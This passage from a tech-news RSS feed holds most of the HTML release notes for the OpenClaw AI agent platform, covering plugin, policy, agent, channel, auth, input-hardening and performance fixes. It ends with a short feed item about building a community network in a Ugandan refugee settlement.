<li>Plugin SDK: add a reply payload sending hook for plugins that need to deliver channel-owned replies and flatten package types for SDK declarations. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461890496" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82823" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82823/hovercard" href="https://github.com/openclaw/openclaw/pull/82823">#82823</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4529621686" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87165" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87165/hovercard" href="https://github.com/openclaw/openclaw/pull/87165">#87165</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Policy: add policy comparison, ingress-channel conformance, and sandbox-posture conformance checks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506435604" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85572" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85572/hovercard" href="https://github.com/openclaw/openclaw/pull/85572">#85572</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508594455" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85744" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85744/hovercard" href="https://github.com/openclaw/openclaw/pull/85744">#85744</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521746245" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86768" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86768/hovercard" href="https://github.com/openclaw/openclaw/pull/86768">#86768</a>)</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Agents: fall back to local config pruning when the optional <code>agents delete</code> Gateway probe cannot authenticate, so offline installs can still delete agents without removing shared workspaces.</li>
<li>Tighten phone-control mutation authorization [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4529379329" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87150" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87150/hovercard" href="https://github.com/openclaw/openclaw/pull/87150">#87150</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Clarify directive persistence authorization policy [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515051227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86369" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86369/hovercard" href="https://github.com/openclaw/openclaw/pull/86369">#86369</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Agents/Codex: keep spawned agent cwd/workspace state separated, keep hook context prompt-local, release session locks on timeout abort and runtime teardown, avoid session event queue self-wait, clean up exec abort listeners, stream assistant deltas incrementally, recover raw missing-thread compaction failures, preserve shared app-server state across startup or helper failures, keep native hook relay alive across restarts and prune stale bridge files, keep Claude live tool progress visible for watchdog recovery, suppress abandoned requester completion handoff, route workspace memory through tools, resolve Codex runtime models first, report quarantined dynamic tools, format <code>skills</code> command output, and bound compaction/steering retries. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4530733870" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87218" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87218/hovercard" href="https://github.com/openclaw/openclaw/pull/87218">#87218</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4523882966" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86875" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86875/hovercard" href="https://github.com/openclaw/openclaw/pull/86875">#86875</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512236257" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86123" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86123/hovercard" href="https://github.com/openclaw/openclaw/pull/86123">#86123</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4535300059" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87399" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87399/hovercard" href="https://github.com/openclaw/openclaw/pull/87399">#87399</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534684461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87375" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87375/hovercard" href="https://github.com/openclaw/openclaw/pull/87375">#87375</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332970426" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72574" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72574/hovercard" href="https://github.com/openclaw/openclaw/issues/72574">#72574</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534791510" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87383" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87383/hovercard" href="https://github.com/openclaw/openclaw/pull/87383">#87383</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4535326369" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87400" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87400/hovercard" href="https://github.com/openclaw/openclaw/pull/87400">#87400</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462962983" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83022" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83022/hovercard" href="https://github.com/openclaw/openclaw/pull/83022">#83022</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4541273558" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87671" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87671/hovercard" href="https://github.com/openclaw/openclaw/pull/87671">#87671</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4542561311" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87738" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87738/hovercard" href="https://github.com/openclaw/openclaw/pull/87738">#87738</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4542726387" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87747" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87747/hovercard" href="https://github.com/openclaw/openclaw/pull/87747">#87747</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4542013718" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87706" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87706/hovercard" href="https://github.com/openclaw/openclaw/pull/87706">#87706</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4538196198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87546" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87546/hovercard" href="https://github.com/openclaw/openclaw/pull/87546">#87546</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4538136913" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87541" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87541/hovercard" href="https://github.com/openclaw/openclaw/pull/87541">#87541</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mbelinky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mbelinky">@mbelinky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Alix-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Alix-007">@Alix-007</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjf">@sjf</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Channels: thread canonical session keys into outbound hooks, preserve Matrix room-id case, keep fallback tool warnings mention-inert, retain delivered Slack final replies during late cleanup, continue iMessage polling after denied reactions, suppress duplicate native exec approvals, preserve Telegram SecretRef prompt config and polling keepalives, preserve WhatsApp profile auth roots, QR display, document filenames, and plugin hook config, suppress Discord recovered tool warnings, preserve the Discord voice outbound helper, and block untrusted Teams service URLs while keeping TeamsSDK patterns aligned. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345081037" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73706" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73706/hovercard" href="https://github.com/openclaw/openclaw/pull/73706">#73706</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364693778" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75670" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75670/hovercard" href="https://github.com/openclaw/openclaw/issues/75670">#75670</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534435733" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87366" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87366/hovercard" href="https://github.com/openclaw/openclaw/pull/87366">#87366</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536461472" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87451" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87451/hovercard" href="https://github.com/openclaw/openclaw/pull/87451">#87451</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536746747" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87465" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87465/hovercard" href="https://github.com/openclaw/openclaw/pull/87465">#87465</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4533570288" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87334" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87334/hovercard" href="https://github.com/openclaw/openclaw/pull/87334">#87334</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370029391" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76262" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76262/hovercard" href="https://github.com/openclaw/openclaw/pull/76262">#76262</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465217648" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83304" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83304/hovercard" href="https://github.com/openclaw/openclaw/pull/83304">#83304</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4459071895" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82492" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82492/hovercard" href="https://github.com/openclaw/openclaw/pull/82492">#82492</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4538876168" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87581" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87581/hovercard" href="https://github.com/openclaw/openclaw/pull/87581">#87581</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4374077022" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77114" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77114/hovercard" href="https://github.com/openclaw/openclaw/pull/77114">#77114</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515934850" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86426" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86426/hovercard" href="https://github.com/openclaw/openclaw/pull/86426">#86426</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505928215" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85529" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85529/hovercard" href="https://github.com/openclaw/openclaw/pull/85529">#85529</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4529579598" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87160" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87160/hovercard" href="https://github.com/openclaw/openclaw/pull/87160">#87160</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zeroaltitude/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zeroaltitude">@zeroaltitude</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lukeboyett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lukeboyett">@lukeboyett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xiaotian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xiaotian">@xiaotian</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eleqtrizit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eleqtrizit">@eleqtrizit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/heyitsaamir/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/heyitsaamir">@heyitsaamir</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amittell/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amittell">@amittell</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liorb-mountapps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liorb-mountapps">@liorb-mountapps</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/masatohoshino/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/masatohoshino">@masatohoshino</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bladin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bladin">@bladin</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>CLI/auth/doctor/providers: reject malformed numeric/timeout/subcommand-version inputs, ignore workspace dotenv provider credentials, wait for respawn child shutdown, bound Codex and GitHub Copilot OAuth/token requests, harden Codex auth probes, warm provider auth off the main thread, honor Codex response timeouts, stop migrating current Claude Haiku 4.5 profiles to Sonnet, bound local service startup, resolve GPT-5.5 without cached catalog, migrate legacy memory auto-provider config, rewrite non-canonical <code>api_key</code> auth profiles, and make doctor restart follow-ups actionable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4535278756" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87398" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87398/hovercard" href="https://github.com/openclaw/openclaw/pull/87398">#87398</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513750971" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86281" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86281/hovercard" href="https://github.com/openclaw/openclaw/pull/86281">#86281</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534263190" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87361" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87361/hovercard" href="https://github.com/openclaw/openclaw/pull/87361">#87361</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4470260031" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83655" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83655/hovercard" href="https://github.com/openclaw/openclaw/pull/83655">#83655</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4538477112" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87559" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87559/hovercard" href="https://github.com/openclaw/openclaw/pull/87559">#87559</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4542269022" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87719" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87719/hovercard" href="https://github.com/openclaw/openclaw/pull/87719">#87719</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Patrick-Erichsen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Patrick-Erichsen">@Patrick-Erichsen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alkor2000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alkor2000">@alkor2000</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nxmxbbd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nxmxbbd">@nxmxbbd</a>.</li>
<li>Gateway/security/session state: expire browser tokens after auth rotation, scope assistant idempotency dedupe, drain probe client closes, avoid stale restart continuation reuse, preserve retry-after fallbacks and stale rate-limit cooldown probes, bound webchat image and artifact transcript scans, include seconds in inbound metadata timestamps, clear completed session active runs, and evict current plugin-state namespaces at row caps. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544450672" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87810" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87810/hovercard" href="https://github.com/openclaw/openclaw/pull/87810">#87810</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544792832" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87833" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87833/hovercard" href="https://github.com/openclaw/openclaw/pull/87833">#87833</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Config/parsing/network: reject partial numeric parsing, parse provider/Discord retry headers and dates strictly, honor IPv6 and bare IPv6 <code>no_proxy</code> entries, canonicalize secret target array indexes, and reject malformed media content lengths, inspected TCP ports, marketplace content lengths, cron epochs, sandbox stat fields, unsafe duration values, empty config path segments, noncanonical schema array refs, unsafe Telegram callback pages, and invalid Teams attachment-fetch DNS targets.</li>
<li>Browser/input hardening: reject invalid tab indexes, excessive viewport resizes, explicit zero CDP ports, malformed geolocation options, unsafe screenshot or permission-grant timeouts, loose response-body limits, invalid cookie expiries, and non-finite Browser tool delays/timeouts.</li>
<li>Cron/automation: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot, and preflight model fallbacks before skipping scheduled work. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462211584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82887" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82887/hovercard" href="https://github.com/openclaw/openclaw/pull/82887">#82887</a>)</li>
<li>Auto-reply/directives: respect provider and relayed channel metadata during directive persistence so channel-originated decisions keep their intended context. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4541541082" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87683" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87683/hovercard" href="https://github.com/openclaw/openclaw/pull/87683">#87683</a>)</li>
<li>WhatsApp: resolve the auth directory from the active profile so profile-scoped WhatsApp installs do not drift to the wrong credential root. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4459071895" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82492" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82492/hovercard" href="https://github.com/openclaw/openclaw/pull/82492">#82492</a>)</li>
<li>Gateway/session state: clear completed session active runs, avoid cold-loading providers for MCP inventory, cache single-session child indexes, cap handshake timers, and bound preauth, auth-guard, media, transcript, readiness, and port options.</li>
<li>Channels/replies: preserve channel-owned progress callbacks when verbose output is off, keep group-room progress suppression intact, prefer external session delivery context, escape Discord component id delimiters, force final TUI chat repaints, show Slack reasoning previews, and normalize Discord/Matrix/Mattermost channel numeric options. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4537084392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87476" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87476/hovercard" href="https://github.com/openclaw/openclaw/pull/87476">#87476</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4535879311" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87423" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87423/hovercard" href="https://github.com/openclaw/openclaw/pull/87423">#87423</a>)</li>
<li>Agents/tool args: harden smart-quoted argument repair for edit arrays and exact escaped arguments so model-produced tool calls recover without corrupting valid input. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519020723" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86611" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86611/hovercard" href="https://github.com/openclaw/openclaw/pull/86611">#86611</a>)</li>
<li>Providers/agents: preserve seeded Anthropic signatures, preserve signed thinking payloads, concatenate signature-delta chunks, preserve DeepSeek <code>reasoning_content</code> replay across tier suffixes, apply OpenRouter strict9 ids to Mistral routes, promote Ollama plain-text tool calls, load NVIDIA featured model catalogs, stream MiniMax music generation responses, and recover empty preflight compaction. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4539098619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87593" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87593/hovercard" href="https://github.com/openclaw/openclaw/pull/87593">#87593</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4537557512" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87493" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87493/hovercard" href="https://github.com/openclaw/openclaw/pull/87493">#87493</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4424322077" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80775" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80775/hovercard" href="https://github.com/openclaw/openclaw/pull/80775">#80775</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491159526" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84764/hovercard" href="https://github.com/openclaw/openclaw/pull/84764">#84764</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eleqtrizit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eleqtrizit">@eleqtrizit</a>.</li>
<li>Media/images: skip CLI image cache refs when resolving generated images and bound generated video downloads so stale refs and slow providers fail cleanly. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4537825609" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87523" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87523/hovercard" href="https://github.com/openclaw/openclaw/pull/87523">#87523</a>)</li>
<li>File transfer: handle late tar stdin pipe errors after archive validation or unpacking has already settled.</li>
<li>Performance: trust install-record caches between reloads, prefer native JSON parsing, reuse unchanged tool-search catalogs, skip unchanged store serialization, add precomputed session patch writers, reduce store clone allocations, cache manifest model catalog rows and auto-enabled plugin config, avoid full session snapshots for entry reads, defer configured Slack full startup, prefer bundled plugin dist entries, and slim current metadata identity caches. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4542943848" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87760" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87760/hovercard" href="https://github.com/openclaw/openclaw/pull/87760">#87760</a>)</li>
<li>Docker/release/QA: package runtime workspace templates, stream cross-OS served artifacts, preserve sparse Crabbox run artifacts, isolate npm plugin installs per package, reject incompatible package plugin API installs, bound OpenClaw instance logs, plugin gauntlet relay logs, MCP channel buffers, kitchen-sink scans, agent-turn assertions, and release scenario logs, and keep release/google live guards current. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4540781098" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87647" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87647/hovercard" href="https://github.com/openclaw/openclaw/pull/87647">#87647</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4537087511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87477" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87477/hovercard" href="https://github.com/openclaw/openclaw/pull/87477">#87477</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rohitjavvadi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rohitjavvadi">@rohitjavvadi</a>.</li>
<li>Release/CI: bound manual git fetches, ClawHub verifier responses, ClawHub owner metadata, Parallels limits, startup/test/memory budget parsing, and diffs viewer build warnings so release lanes fail with useful proof instead of hanging. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544909025" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87839" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87839/hovercard" href="https://github.com/openclaw/openclaw/pull/87839">#87839</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[From Email to Case Study: What We Learned About Connecting Refugee Communities in Just One Year ]]></title>
<description><![CDATA[In Uganda's Rhino Camp Refugee Settlement, we worked with local partners to train refugees and members of the surrounding community to not just use the Internet, but to build and manage their own network. 
The post From Email to Case Study: What We Learned About Connecting Refugee Communities in ...]]></description>
<link>https://tsecurity.de/de/3555503/it-nachrichten/from-email-to-case-study-what-we-learned-about-connecting-refugee-communities-in-just-one-year/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3555503/it-nachrichten/from-email-to-case-study-what-we-learned-about-connecting-refugee-communities-in-just-one-year/</guid>
<pubDate>Thu, 28 May 2026 22:32:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
